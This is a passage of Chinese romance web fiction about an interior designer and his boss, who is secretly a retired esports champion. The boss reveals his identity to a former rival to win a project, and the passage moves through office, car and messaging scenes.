克里夫笑了笑,忽然抬手指向右前方的一排长桌,背对背地放了四台电脑。 “游戏的灵感还要从游戏里找。郁,或许你有兴趣玩一把游戏吗?我可以带你。”他眨了下眼睛,绿宝石一样的眼眸闪烁。 “虽然我已经退役很多年,但闲暇时间也还是保留着训练的习惯。” 骗你的。克里夫心想。 总决赛上被Execut2那个该被上帝用圣水泼一遍又一遍的魔鬼虐/杀了个1-11、以至于原地退役之后,他直接改了Kreef的id,再也没长时间玩过这个该死的游戏。 上号,赢了就接着打,输了立刻原地下线。 克里夫觉得自己完全是有心理阴影了。 不过也算是因祸得福,他虽然有一个比较失败的职业生涯,但他现在成为了一个成功的高管! 对了,说起失败的职业生涯…… 克里夫瞥了一眼落后他们半步的男人,压低声音。 “郁,你的助理……长的有点像一个人。”他开口试探。 “现在记得他的人很少了……你记得?”郁思白目光一亮,同样放低了声音,以免被季闻则听到,“但只是偶尔有一点像。” 莫名的,他不希望季闻则知道这些,就像是不想让人染指这一块净土一样。 大概是潜意识里觉得,季闻则这种人,对Execut2的评价不会太好吧。 郁思白回头看了眼老板,对方和他们保持了半米的距离,正尽职尽责地扮演助理的角色。 哈哈,果然不是魔鬼! 得到答案的克里夫如释重负,长长呼出一口气来,脸上笑意更深。 “哦,我当然记得他!”克里夫敷衍地略过这个该死的家伙,转而说,“郁,我有这个荣幸跟你双排一局吗?” 这位帅气的、和他心意相通的设计师,一定会为他的游戏技术着迷的。 说不定还会在设计的时候,多多增添一些他们的部分——克里夫忍不住幻想。 这也是他努力争取到这次嘉年华负责人的、小小的私心。 克里夫太想让自己和队友的名字也万众瞩目一次了,而他的队伍,很可惜已经因为资金链断裂,被踢出了固定席位,现在只是一个在次级联赛沉浮的可怜队伍。 有些话,他作为负责人之一,不好直接跟设计师说,但暗示总可以吧! “郁,相信我,我会让你有一段非常愉快的游戏体验。”克里夫推销着自己。 郁思白迟疑了一下。 眼前的外国人似乎并不打算和他继续畅聊Execut2,这让他有点失望,只觉得还不如多看一会儿Execut2的外设。 展馆很大,时间又有限,他现在还没找到放外设的地方呢。 于是他婉拒道:“抱歉,我想花更多的时间来逛场馆……” 说到一半,郁思白目光落在季闻则身上,眸光微动,顿时又心生一箭双雕的一计。 “克里夫先生,我的游戏技术实在很差……不如,让我的助理陪您玩一局?”他说,“您也能让他领略游戏的魅力。” 克里夫原本是不愿意的,但看到季闻则那张和魔鬼Execut2有三分相似的脸,还有对方明显对这个游戏生疏的样子,忽然就来了兴致。 这……虐不了本人,在赝品这儿帅两下,找个场子,好像也挺不错的? 克里夫搓了搓手:“郁,这真是个好主意……你可以坐在这里看我的视角。” “郁组长,你一直在找的展品,是不是那个?” 季闻则忽然开口,声音不大,平平淡淡,抬手指了一下二十米开外的一排展柜,里面齐刷刷摆着一排颜色大小各异的键盘鼠标。 郁思白:! “个子高一点是不一样,季……助理。”他语气明显雀跃了些,连带着动作也积极起来,拉开一把电竞椅,示意季闻则坐下,“来,先看一下基础的。” “嗯,好。”季闻则含着笑,轻飘飘应了一声。 他双手放上桌面,下意识摆出了打字的手势,顿了一下,才把右手放到鼠标上,左手尝试按wasd的动作很是笨拙,必须低头看一眼才能敲下。 只一眼就看得出,明显是常年办公的人。 郁思白很轻地笑了一下,伸手帮他把键盘往左边移了移:“玩这个游戏要甩鼠标,这样空间大一些。” 季闻则点头。 见他确实认真,郁思白心里某处忽然有了些轻微的响动,他拍了拍季闻则的肩膀,说:“那你好好跟克里夫先生玩,职业选手启蒙,说出去别人都会羡慕你的,季助理!” 季闻则仍然点头。 一扭头,却看见克里夫笑容洋溢到有些古怪的程度,郁思白将其归因于法国人的血脉在作祟,颔首作别后,直奔外设展区。 转身的一瞬间,他忽然觉得,这一幕有点像把随身行李寄存之后去逛超市。 于是他回头看了眼“行李”是否乖巧。 “行李”似有所感,抬头和他对上视线,给了他一个“放心交给我”的笑容。 郁思白彻底放了心。 目送郁思白远离这片区域后,季闻则收回了视线,双手从键盘上离开。 在他旁边,克里夫明显也没有立刻和他打游戏的意思,而是笑着说:“你姓季?季助理,可以跟我说说关于郁的事情吗?” “抱歉。”季闻则也微微勾唇,表情多温和,开口的声音就有多冷淡,那张脸更像是一层面具。 “不可以。”他说。 克里夫“啧”了一声,忍不住说:“季助理,你有点像一个我很讨厌的人……算了,我还是带你打一把吧,免得你要在郁面前告我的状。上帝,郁真是个天使……你干什么?” 咏唱调一样的感慨戛然而止,克里夫整个人愣住,看着季闻则拿起鼠标,不急不缓地把键盘推到了右手边。 “等等……wait!”克里夫忽然慌了。 不对……不对不对。 职业圈也有几个知名的左撇子,但大部分也都是右手握鼠标。 无畏契约这个项目里,左手鼠标右手键盘的人…… 克里夫猛地后退两步,大脑嗡的一下。 ——Execut2,仅此一人。 交换了键盘鼠标的位置后,季闻则左手晃了晃鼠标感受灵敏度,右手快速地敲了两圈wasd后,把键盘推到更远些的地方,微微倾斜。 他仿佛拿回自己最顺手的武器,鼠标如臂使指,右手指尖灵活。 郁!你刚刚不是这么说的!!克里夫在心底呐喊。 天使……你欺骗了我! “站着干什么。”卸下伪装的魔鬼轻轻笑了一声。 “坐啊,Kreef?”- 随着克里夫和郁思白带着那位季助理离开,邓工一行人也被陈经理请去了办公室,毕竟是陈经理亲自邀请的团队,闹成这样双方都有些尴尬。 “陈经理,请你给我一个交代。”邓工不悦。 陈经理动作大了些,西装都不再是毫无褶皱的体面,他边走边说,声音渐远。 “稍安勿躁,邓老师。这事也不是今天就定下来的。今天只是前期沟通,顺利与否并不影响我们后续的选择,毕竟还是要等大家的方案递上来再做考虑,这是大事,我们也很重视的……” 现场围观的人也渐渐散了,只剩一颗反光的地中海脑袋还站在原地。 “太帅了,我们郁设……”他喃喃。 于设是沪市设计圈出了名的社交恐怖/分子,去哪儿都能跟人说得上话——他能成为在场唯一一个上去跟郁思白聊天的人,就可见一斑。 顶着反光脑门的于设一开口,便也有几个人附和。 “看那个克里夫先生一开始一直不说话,一听郁设的话变脸就这么快。” “现在什么情况,两个负责人要杠上了?” “实话说,我喜欢郁设那个。” “哎你们说这人和人的脑子怎么就差别这么大呢……” 于设看着郁思白离开的方向,忍不住道:“郁设……真的是我见过的、最有魅力的设计师啊。” 他感慨着,甚至沉浸得有些恍惚。 旁边,一个精明相的设计师笑了笑说:“于设,这么想跟郁设计共事啊?庭季最近好像人事变动挺大,二组那个组长昨天被他们总部查了,据说要重整。” “于设,你这资历能力,待在现在的地方浪费了,你要不试试跳去庭季?” 他这灵通的消息,一石激起千层浪。 “钱翀被撸下去了?不要啊。离了他谁还给我垫底。”有人遗憾。 于设摇头,脑门晃得人眼睛有点疼,沉声道:“不去庭季,我还不想把我自由的设计灵魂葬送在那。” 附近人附和:“也是,他们那钱总真是……啧。” “哪儿还有钱总啊。”那个八卦消息灵通的精明相说,“庭季早改天换日了。总部派了太子爷来……” “等会儿,你们看这个!”突然,有人打断他的话。 那人说着,把手机递到众人面前,几人纷纷凑过去看。 上面是庭季的官网,旗下的室内设计公司已经更换了总经理介绍,照片上的男人笑容和煦,一双眼睛玩味里夹杂着锐利。 “诶,这个……”于设疑惑,抬手摸过自己光滑的脑门,低头看完后,又抬头看向不远处,那个站在郁思白身后的“季助理”。 然后眼睁睁地,看着郁思白把那个和总经理一模一样的、气场颇强的“季助理”,寄存似的撂在了游戏体验区,自己一身轻松地接着逛展了。 周遭忽然安静了一下。 “这……对吗?”有人说。 “老郭。”于设突然开口,“你刚刚说庭季二组要重组,是真的?” “真的啊。”被称作老郭的精明相设计师笑笑,“怎么,心动了?我就随口说着玩,庭季那地方,你还是谨慎点吧,你去哪儿都是人抢着要的,没必要……” “不,我相信郁设。”于设秃头之下,目光炯炯,“能让他这样随意相处的老板……不会太差。” 突然,不远处游戏体验区,传来一声巨响。 众人齐刷刷看过去——只见那位风度翩翩的高傲负责人,克里夫先生,不知怎的一个后仰,连人带椅子,摔了个肚皮朝天! 克里夫看着季闻则,一时间连起身都忘了,只记得连声说:“我不打,我不跟你打!” 季闻则失笑,起身弯腰,伸手要去扶他,被克里夫灵活躲开。 “你你……你怎么给人当助理去了?!”克里夫惶惶。 上帝!见鬼!这消息比Execut2真死了还吓人吧。 看着克里夫重新坐下,季闻则侧头望向郁思白的方向,朝他挥了下手示意不用担心,自己也拉过椅子坐下。 克里夫却发现,这人连坐电竞椅的姿势都不一样了——优雅得体,端端正正。 好诡异。克里夫又打了个抖。 “你很欣赏他的想法,有意向把项目给他么?”季闻则轻笑了声,直截了当。 克里夫硬是给自己找回点勇气,严肃说:“这是我和郁要讨论的事,你一个助理插什么嘴?你……你老几啊!”他甚至用上了自己毕生所学的凶恶中文。 “我?”季闻则嘴角缓缓挑起,莞尔道,“我是他老板。” “老、板……是老几……不对。”克里夫猛地又后退半米。 “老板?!”他不敢置信,竭力压低声音问,“你不是Execut2,那家伙不可能去干这种工作……你到底是谁?” “啧。” 季闻则垂了下眼,脸上笑意消失殆尽。抬手,作势就要放到键盘鼠标上,耐心很差地说:“打一把,你看看?” 一瞬间的熟悉感又回来了,那种没有人类能够模仿出来的、魔鬼一样的熟悉感。 克里夫头又摇成拨浪鼓。 “不不不打,我信,我信……Execut2,你——” “叫季总吧。”季闻则淡淡,脸上又重新挂起那张微笑面具,“我们来谈谈项目的事?” 克里夫忽然沉默了,目光复杂地看着他,欲言又止,半晌,没头没尾地冒出来一句。 “我读过一本鲁迅的书……那里面有句很有名的话。”他说,“感觉我们之间,好像已经有一层厚障壁了。” 季闻则失笑,却也没否认。 “对。”他轻飘飘落下一个字。 “Execut2……季总。”克里夫开了个头,却怎么也进行不下去。 “我不能跟你聊……这感觉太怪了。”他起身,闷头就要走,“我要去找郁。他怎么能接受这么怪的——” “他不知道。”季闻则说。四个字把克里夫定在原地。 这位本质多情的法国男人张了张嘴,绿宝石眼眸里流淌着复杂的情绪。 “可怜的郁,他会感到很失望的……他最好不要知道。好吧,E……季总,我会帮你保守秘密的。”他嘟囔。 “这种怪东西,我一个人承受就够了。为了天使,我可以牺牲这些……” 季闻则含笑盯着他,盯得克里夫后背发毛,终于还是破罐子破摔地说。 “好吧好吧,我不会尝试和郁发展工作以外的关系,你满意了吧!” “嗯,感谢你的自知之明,男友一月一换的克里夫先生。”季闻则笑容顿时和煦起来。 “夜长梦多,现在我来替郁组长,跟你谈论一下项目吧。”- “……所以你就和他打了一局游戏,就把项目的优先选择权拿下来了?” 回程的路上,郁思白坐在驾驶座上,对自己听到的话表示不敢置信。 “真的不需要我开车?”见他有点放空呆滞的双眼,季闻则忍不住皱了下眉,不等他拒绝,直接下车跟人换了位置。 郁思白恍惚着被摆到了副驾驶,目光始终看着季闻则,仿佛看到什么稀有生物。 “誉衡别苑也就算了,毕竟我们也算有不少对口的项目经验。这个嘉年华场馆你也能谈下来……?” “这个更简单些,以前在总部,经手的项目复杂的多。”季闻则随口说,他熟悉了一下这辆灰蓝色小车的各个操作位置,提醒,“安全带。” 郁思白抬手抓了两下才抓住,咔哒扣上。 他带季闻则来,原本只是想熏陶一下这人,怎么……怎么就扭头给了他一个优先权? 要是钱远新,别说跟克里夫打游戏了,就是誉衡别苑的段总站到他面前,他也搞不定啊! 想到这儿,郁思白再看向季闻则,觉得他在自己眼里已经具象成连绵的金山银山。 “要是你早两年来接手庭季就好了。”郁思白忽然说。 “为什么。”季闻则问。 汽车缓缓驶出地库,夕阳洒进车内,刺得郁思白眯了下眼。 这场景有点熟悉,他忽然想起,被季闻则抓去应酬、听说了场馆项目的那天,也是这样的夕阳泼洒在车上。 只不过当时开车的是他,坐车的是季总。 郁思白朝主驾的方向倾了倾身,抬手放下季闻则面前的遮阳板。 “早两年,我跟你的理念就恰好相配。”他一边说,一边调整着遮阳板的角度。 “我们俩就化身项目收割机,一切向钱看齐,赚他个盆满钵满。要是那会儿,我估计也不会跟你翻脸。那会儿我可好骗了……”郁思白絮絮说着,放好遮阳板,他靠回座位,声音也渐渐低下来。 “那现在呢?”季闻则问。 现在我要狠狠调/教你。 郁思白甩走脑海里的虎狼之词,懒懒道:“现在你想留我,注定赚不了那么多钱了。” 季闻则哑然,笑问:“郁老师钱赚够了?” “嗯。”郁思白敷衍应声,似乎不是很想跟他聊这个话题。 “可是,我不小心帮郁老师谈了这个价格怎么办……”季闻则伸手比出一个数字,听见郁思白倒抽一口凉气的声音,忍笑。 “独立团队,公司不分成。郁老师要是觉得有点多,给我多发点奖金也行?”—— 作者有话说:小郁:我要开始贫穷追梦 老季:顺便赚点呗搞那么苦哈哈的[饭饭] [猫爪] 第29章 郁思白张了张嘴, 半晌没讲出话来。 他脑海里冷不丁想起一个词——“洗白弱三分”,心里不免惴惴了一下。 他尝试改变老板,真的是对的吗? 老板要是真的洗白了, 不会不复现在的神勇,反手把公司给干倒闭吧。 郁思白抓了抓衣角。 “要回家?还是回公司。”季闻则忽然问。 郁思白瞥了一眼屏幕上的时间, 警觉:“还没到下班时间吧……季总, 钓鱼执法不可取。” 季闻则说:“你可以支使季助理帮你打卡。” 郁思白看他:“你要加班?” “嗯。”季闻则说,“你回家的话,找个地铁站把我放下来就行。” “还是开回公司吧。”郁思白说,“我有点想法,尽快回去先记下来……说不定今晚就能出个草案。” 季闻则也没多说:“好,克里夫那边我联系。你需要的时候上来就行。” “ok。”郁思白低着头翻看今天拍到的照片, 冷不丁问了一句:“你知道,左撇子是左手拿鼠标还是右手拿鼠标吗?” 前挡的雨刮器突然开始呼噜呼噜地擦玻璃。 郁思白疑惑抬头, 季闻则面色如常地拨动雨刮器操纵杆, 叫停雨刮器,重新打转向灯右转, 仿佛只是再寻常不过的一次误触。 不过开惯了自己的车,再开别人的确实容易不适应误触。 郁思白迟疑一秒,说:“要不路边停一下……我开?” “没事。”季闻则含笑道,等车拐过弯后, 他想了一下回答, “好像没见过左手鼠标的人……应该是右手吧。” “嗯, 确实……不过偶尔也有左手鼠标的人,隔壁——就是另一个游戏,还有选手左右手交叉着用呢。”郁思白絮絮地分享,语气轻快, “电子竞技,很神奇吧。” 季闻则应了一声,郁思白想起这人似乎很注重行车安全,后半程便没再跟他搭话,自己翻着相册,看着看着就走了神。 他在外设区拍的比其他地方都多,展柜里面,有一套键鼠和其他不同,是左右反着放的,75配列,银白主色,灰蓝渐变侧刻键帽,乍一看不怎么起眼,却被摆在了第一个。 因为Execut2是第一个把自己夺冠外设捐给官方的选手。放在四个赛区里面,都是第一个。 外设之于职业选手,就像本命剑之于剑客,很多选手都会选择定制一套最契合自己的键盘,这把键盘在职业生涯里,既是工具、也是一路陪同的伙伴。即使是没站上过最高领奖台的选手,也不会轻易把键盘转手的,有些甚至就此供起来只摆着看……更何况是曾经带选手夺冠的冠军外设,背后承载的东西只多不少。 可Execut2偏偏捐了。有他带头,之后,又陆陆续续有几名选手把自己换掉的外设捐了出来,才终于丰富了展馆的这个角落。 他之前听说过,每次展馆对外开放,这个外设展台永远都是围观人最多的,今天却门可罗雀,果然还是受众不同。 在圈外人看来,这些估计和普通的键盘鼠标也没什么两样吧。 郁思白抿了抿唇,摸出手机点开微信,置顶的Execut2还是没有回复,可能今天格外忙吧。 他犹豫了一下,还是没有把拍到的那套银白键盘的照片发过去。 这两天他和卡神虽然聊的很愉快,但郁思白还是能感受到,Execut2和以前似乎不太一样了。 比起游戏相关的内容,他对工作之类的话题似乎更得心应手,提起过往,又总有种“往事不可追”的意思,虽然也还是会附和他的话,但明显不太热切。 不过倒是不至于排斥,毕竟以Execut2的性格,要是排斥什么话题,早连人带话一起喜提红色感叹号了。 退役工作之后……男神的脾气好像真的好了不少啊。郁思白摸摸下巴。 比七年前更成熟的卡神,是什么样子呢……他忍不住琢磨,却又想象不出来,忽然脑海里一只灯泡亮起。 他缓缓地、偷偷地、故作不经意地扭头,看向主驾。 唔,首先把这张笑眯眯狐狸脸的嘴角拉下来,换成严肃又认真的表情。 其次把这个骚包银丝框镜扔了,Execut2是难得不戴眼镜的网瘾少年,一双眼睛最是明亮凌厉。 然后呢,皮肤白一点,Execut2是冷白皮,不知道是昼夜颠倒、久不见光的原因,还是天生如此。总之郁思白的粉丝滤镜一套,怎么帅怎么来。 再然后的话……说实在的,他们季总身材看起来不错,但很可惜,在扮演Execut2的赛道上这是扣分项。嗯,再瘦一点,手腕细一点。 说起手腕,这个看着就很成功男人的腕表也统统摘掉。 …… 季闻则忽然侧目看了眼后视镜,视线没和他相对,余光却明显攫取到郁思白打量的眼睛,不禁哑然。 他什么都没说,郁思白轻咳一声,也什么都没答,默默移开视线。 当了一下午季助理的老板,周身的气场似乎都变了些,虽然脸上还挂着那张微笑面具,但确实温和了不少。 放到上周……这人高低要悠悠说两句让人恨不得挖个坑把自己埋了的话吧。郁思白揣测。 一路无话。 两人乘电梯上楼的时候,大厦最拥堵的那阵下班潮已经过去了,郁思白上楼就可以无缝衔接加班时间,一分钟都没有浪费。 “吃饭么?”季闻则垂眸看着手机,忽然问,“杨助理在订餐,要的话,过半小时上来。” 郁思白摇头:“不了,我自己点外卖在办公室吃。” 摸鱼固然很好,但跟老板在一块摸鱼,可就不是那回事儿了。 电梯门打开的瞬间,踏进公司的季闻则好像就又回到了“季总”的状态,郁思白说不上来差在哪里,但就是有点细微的不同。 大概是主场优势吧。 两人在电梯口作别,轿厢门无声关闭,留下郁思白,把季总又带回了17楼。 这个点,一组已经人去楼空,郁思白用钥匙打开锁好的办公室门,侧头就看见了放在门口边柜上的一张小纸条。 嫩黄色的,周围还有可爱的小花,和一排向日葵放在一起十分和谐,如果不是郁思白眼尖,粗心一点,可能都看不到它的存在。 郁思白记得这个便签款式,是高向日买给女儿、结果被嫌弃幼稚的,后来他自己拿到办公室用了。 字迹是大开大合的漂亮行草,一看就出自武天骄之手,姑娘的字和她本人一样充满生命力。 留言文字的颜色是闪闪亮亮的金粉色,小穆有做手账的习惯,工位上也放了不少这样花里胡哨的笔。 这样拼拼凑凑出来的一张纸条,上面写着:【组长加油,我们支持你^o^】。 虽然……恐怕他们自己也不知道是在支持些什么,但郁思白还是心头一热。 垂眸看了一会儿,郁思白抬手抚平卷起的边,捏了只向日葵把四角都压住。 压得平平的,晚上他要带回家。 他抬头走向窗边自己的工位。 一组没有拉窗帘的习惯,窗外黄昏景色一览无余,整个天空都被泼成浓重的向日葵的颜色。 明明已是傍晚,郁思白却忽然觉得春光明媚。 他掏出手机,对着窗外拍了一张,发了个朋友圈,配文是一个复杂但可爱的颜文字笑脸。 没等电脑开机,朋友圈先等来了一个点赞提示。 爱心图标后,坠着的第一个名字是。 【Execut2】- 季闻则几乎是刚一进1702的门,就先从抽屉里拿出自己的生活手机。 中午在地库的时候,他虽然在打电话,但也分了点神,清清楚楚看见了郁组长给Execut2发消息。 发的是什么……他大约也猜得到。所以打开对话框看见【我老板离死就差一点】的时候,心里半点震惊都没有。 甚至笑了一下。 怎么了,劫后余生不能笑么? 他抬手正要回复,工作电话却先阴魂不散地响了起来,季闻则抬眼,看清来电人的时候,还是放下生活手机,接起电话。 “季总经理,我本来以为你这些年已经有长进了,慢慢也知道要圆滑处事……为什么又这样?” 来电人开门见山,连一句“喂”的开场白都没有。说话的是一个中年女声,语气严肃,气场能压得初入社会的新人喘不过气,难以违抗。 不等季闻则开口,中年女人接着训斥道。 “你之前的计划不是很好吗?临行前你说了,先扶持一个总监,再慢慢打擂台,徐徐图之。我这边也有足够的时间去慢慢筹备……你现在突然动手只能打草惊蛇,不要告诉我你没考虑到。” “季闻则,我对你这次的工作很失望。”她说。 季闻则垂了下眼,无声叹气,面对对方长篇大论的质问,他只回了四个字。 “抱歉季董。” 电话那边,中年女声沉默了好一会儿,再开口,语气复杂道:“……你怎么又是这副死猪不怕开水烫的劲。叛逆期又来了?” 听出那边有所缓和,季闻则失笑,语气也平缓下来,耐心说:“季董,这件事我会写报告给你。但钱远新那边我有新的打算,确实不能再拖。至于总监,我也有新的人选。” “要换人?”中年女声、季董顿了一下,“原来那个、郁什么……” “郁组长,郁思白。”季闻则说,“他也有别的安排。” 听他语气冷静,确实也不像大龄叛逆期的样子,季董便没再多问,只说。 “这次调任对你很重要,你应该清楚。给你的,只有一年半的时间,到时候回来你能站到什么位置,不是我一个人能说了算的。” 季闻则垂眸,下意识摆弄着键盘,沉声回了句:“我知道,您放心。” 季董道:“你有雄心做好那边的工作,我支持,但京市这边你也不能放下,半点都不行。这两次回来你推了多少宴会应酬,还有,听说你中午又推了一个?人家都找到我这来了,问你季闻则是不是对他们有意见。我能给你挡一时,挡不了一世。” “知道了,季董,下次回京市尽量多待。”季闻则失笑,说,“但中午那人确实没必要见,我有分寸。” “你们年轻人……算了,你心里有数就好。”季董说完,干脆道,“那挂了吧,我还有事要忙,你注意身体。” “嗯,您也是。” 一个来去匆匆的电话就这么画上句号,耳边传来嘟嘟的忙音时,季闻则忽然有种从梦里被拉回现实的恍惚感。 他把手机放回桌面,目光却是一顿。 暗色的木质宽大办公桌上,最普通的黑色办公键盘被放到了右手边,鼠标则在左手的位置,数据线在电脑屏幕下方交缠,仿佛在桌面上,重重打了个叉。 他恍然意识到,这是刚才接电话的时候,他不自觉摆弄键盘鼠标的杰作。 季闻则怔愣两秒,抬手把桌面恢复原状,情绪却复杂。 严格说来,克里夫……这个曾经的、他几乎都不怎么记得的对手,是时隔多年后第一个被他以Execut2身份接触的人。 为了……拿一个项目? ……如果Founder那小子知道,估计挺生气吧。季闻则冷不丁想。 Founder盖场馆是主动找到业内出名的庭季,那时候的季闻则,比起现在,大概多少还残留着些Execut2的影子,因此被作为后辈的Founder发现,固执追问之下,加上合作实在躲不开,这才挑明了身份。 现在倒是……还主动拿出来用了。 季闻则垂眸失笑,可笑容片刻就像被剪断了操纵丝线一样,只剩一个不知道包裹着什么情绪的皮囊。 他清楚的知道,有什么事情好像在周五晚上他踏进KTV的那一刻,已经脱轨了。 他更加清楚,自己曾经有很多次悬崖勒马的机会。 但他每次都没有选。 生活手机忽然亮起,署名Respit2的新消息跳出来。 【回办公室加班,看到了超级漂亮的夕阳!】 于是脸上那个空壳似的笑容,又被填进了新的、鲜活的情绪。 他完全想象得出郁思白在那边的表情。很明亮,像皎皎明月,好像有数不尽可以汲取的动力。 这个瞬间季闻则忽然想。 当年郁思白看Execut2的时候,也是这样吗。 笃笃的敲门声打断了他的思绪,得到应允后,杨孟越敲门进来,一只手拿着知名酒楼的外送餐,另一只手里拎着一杯明显是外卖的咖啡。 “季总,这是郁组长给的。”她说,“您要吗?不要的话我拿给其他同事……” “放着吧。”季闻则说。 杨孟越拆开袋子把里面的咖啡拿出来放在桌上,离开时脸上笑意浓浓。 季闻则没先动饭,反而先伸手拿过咖啡,还是烫的,旁边放了只折叠杯套。揭开盖子时,醇香的热气升腾而出,仿佛能瞬间包裹所有沉闷的情绪。 【下午参观还顺利吗】他打字,回复了对面同样在摸鱼的郁组长。 提起这个话题,对面的青年明显很是兴奋,噼里啪啦的就是一串。 季闻则喝着郁思白给点的咖啡,看着Respit2开心地跟他分享那些对“季闻则”只字不提的见闻,忽然觉得心里某处有了一种被填充的感觉。 填充材料蓬蓬松松,但在初春的夜里,保暖性似乎显得不错。 【早点下班。】他说。 【嘿嘿,我刚点了咖啡,等喝完了就下班。】 【现在咖啡越来越贵,起送价也跟着往上提,搞半天,点一杯还是不够起送……一人牛饮两杯】 季闻则看了眼自己桌上的那杯,顿时明白了它的来历。 虽然是凑单的添头……但总归是给了他,英雄不问出处。 【不过还好,外卖送上来的时候遇见了我们老板的总助姐姐,送给她一杯。】 季闻则眉头缓缓挑起。 ……原来,还是个二手添头。 算了。 季闻则放下手机,起身揉了揉僵硬的肩颈,然后端起咖啡出门,沿着楼梯散步似的下了楼。 郁组长看见这杯咖啡在他手上的时候……会是什么样有趣的表情? 设计一二组的办公室都亮着灯,二组离楼梯更近,虽然钱翀被带走了,但工作不能停,钱翀手上项目不少,组里一乱,工作进度就落了下来,二组从昨晚就开始了连轴转的加班。 季闻则路过二组,里面好几个人抬头看见他,愣了愣,都起身跟他问好,季闻则含笑回了几句辛苦,最后停在一组门口。 顺着半敞开的磨砂玻璃门,一眼就能望见在最里侧窗边的组长工位。郁思白把显示器架得很高,远远看去,只能露出一点点毛茸茸的发顶。 他的饭放在手边,本该光顾它的人,显然正在醉心工作。 想了一下,季闻则还是没抬手敲门,打扰人灵感迸发的工作状态,最终在门口站了足足一分钟都没等到人抬头,端起咖啡抿了一口,准备离开。 收回视线时,目光正巧撞上一组门口那排向日葵,还有被压在下面的嫩黄色小纸条。 在他真的到这里之前,在纸面材料上,一组根本不是现在这样的形象。它冷硬、效率至上,像一台以郁组长为核心的精密仪器。 季闻则本以为自己是来驾驭它的。 但现在这样,似乎也不坏。 往常看着总有点僵硬嘲讽的向日葵笑脸,今天倒是顺眼了不少。 季闻则见猎心喜,抬手拔了一只,人都回到17楼才想起来,这玩意儿,自己好像头一次去的时候就讨了一个。 下班的时候再偷偷放回去吧,那么一整排数不清数的向日葵,想必也没人介意。他想。 哪知道,他前脚刚回到1702,被留在办公室的生活手机,就嗡嗡嗡地一通狂震。 季闻则解锁,看到屏幕上已经积攒了好几条消息。 【Respit2:噫!吓死了。老板突然下楼巡查】 【Respit2:可恶,还好我刚刚没看视频看得兴奋扭动。】 【Respit2:不过也没事儿,问就是找素材找灵感。点进来之前我就只想看这一个的,都是该死的大数据算法一直推送相关,我才出不去的。】 紧接着,又是新鲜蹦出来的呐喊。 【Respit2:……啊啊啊我们组吉祥物被他偷了一颗!他真会挑,把我那颗给拔了QAQ】 【Respit2:可恶的老板,贼不走空。】 季闻则忽然觉得手里的向日葵有些烫手。 他把贼不走空的赃物放到桌上,又从杂物柜里翻出先前那个叫小穆的“继承人”送来的那颗,拆开后并排放着。 他伸手,一只脑袋上戳了一下,看着它们摇头晃脑,抿唇端详。 ……这不是一模一样吗? 差在哪儿了? 看了半晌,没看出个所以然的季闻则把两只向日葵推到屏幕角落,已经有点凉了的饭盒拉回中间,电脑上打开了本该下午处理的文件。 季闻则不会想到,他才是本公司此时此刻,唯一一个真正在努力加班的人- 时间过得飞快,郁思白三天摸出一个草案,可细化修改的时候,却怎么都觉得无从下手。 这么多年以来,他的工作一直是“及格万岁,85完美”,以至于突然要追求一百分、甚至附加的一百二十分时,郁思白开始觉得有些生疏且费力。 进度停滞的第二周,他从季闻则那里收到了一个从天而降的好消息。 现在庭季取消了大部分乱七八糟的会议,只留了一个周五例会,这天例会结束后,季闻则让他跟着回了1702。 “小段总……你应该认识他?那边确定拿下场馆举办权了,在渝市。”他说,“周六我正好要去渝市出差,你如果想去看一眼场馆的话,我让杨助给你订票。” “我有查过先前可能举办的那三座场馆,示意图都看过,就不用了。”郁思白最近用脑过度,显得怏怏。 季闻则推了杯热茶过去,轻笑。 “我带你去,怎么会只让你在外面看?” 郁思白愣了一下:“能进?” “当然,随时可以进。负责人带着,每处都能看,我觉得,你或许需要这个?”季闻则说。 “能呆多久!”郁思白眼睛顿时亮起来,追问。 “如果你不去的话,我当天来回。”季闻则说,“如果你要去,一整个周末加周一,都可以。”—— 作者有话说:[猫爪] 第30章 郁思白最终还是没顶住诱惑, 选择了跟老板一起出行两天一夜。 周六上午飞机,周日晚上回来。 开车去机场的路上,郁思白看见路两边略过的花, 才恍然发现,已经不知不觉踏入了仲春。 天气很好, 气温怡人。 把车停在机场, 郁思白拎起副驾的行李,在登机口跟季闻则汇合。 “杨总助不去吗?”郁思白问。 “不是太必要,让她陪孩子了。”季闻则说,“她平时就下班晚,总不好再破坏人家的天伦之乐。” 郁思白点头:“那有什么需要杨总助的地方,叫我也行。” 他也不介替杨孟越上一次班。 季闻则笑了一下, 没应。 虽然行程只有短短两天,但郁思白也没能轻装简行。一个大背包勉勉强强卡在不用托运的尺寸边缘, 只能说, 幸好杨助理定的不是廉航。 “你这都装了什么?”季闻则忍不住问。 离起飞时间还早,郁思白索性拉开包给他看。 头等舱空间比经济舱大些, 两人一排的座位,让他有了能开包的空间。 “也不多。就是电脑、平板和一些材料板子。” 郁思白把电子产品拨到一边,抽出一块颜色像夜空一样的板材:“我最近在犹豫,每个部分都用什么材质的板子, 不到实地看看总归还是难定下来。” 季闻则伸手接过, 本以为这看着像石制的板子会很沉, 哪知入手轻飘飘的,像塑料一样。 “这个是我最喜欢的一块,还有这个。”郁思白又拿出一块,银白打底, 点缀些许灰蓝色石头切面的,“这个我必须用上。” 季闻则眯着眼睛回忆了一会儿,忽然说:“每年在工厂下那么多奇怪材料订单的,是你啊。” 庭季在上世纪是建材公司起家,后来一度想进军房地产行业,哪知刚踏进去一只脚,泡沫就碎了个干净。 幸好庭季没陷太深,及时断尾求生,分公司众多,这几年形势才渐渐稳定下来。 季闻则对工厂口的情况自然的清楚的,也对这两年突然多出来的这笔特殊订单有印象。 只是…… 郁思白开心分享的手顿了顿,忽然抬眼。 “第一年工厂那边,是你在管?” 他会被钱远新“骗”来庭季,还有一个原因就是设计公司背靠建材集团,原材料这边应有尽有。刚来庭季的第一个季度,他为了给客户出一个特殊的效果,就往工厂下了几批不怎么常规的订单。 结果每次要被驳回三分之一,最后连带着订单驳回的,还有一句。 “我们这不是许愿池。” 郁思白哼笑一声。 原来又是你,季闻则。 季闻则被他看了一会儿,叹气。 “你要的东西,在生产上确实性价比不高……” 还没说完,手里那片漂亮的深空色板材就被抽走,连带着那些还没被展示的漂亮材料,都唰地一下,被封锁在了背包里。 郁思白站起来把包放进行李架,又重新坐下,面色严肃得让季闻则都觉得有些讪讪。 直到飞机进入滑行道,郁思白才冷不丁开口,沉声问。 “季总,你在我们这呆几年。” 季闻则:……要炒我鱿鱼吗,郁组长。 “一年半最多。”他说,“顺利的话,一年内。” 只一句话,郁思白顿时喜笑颜开。 他轻轻拍了拍两人中间的扶手,像奶奶叮嘱去上学的孙子一样,说。 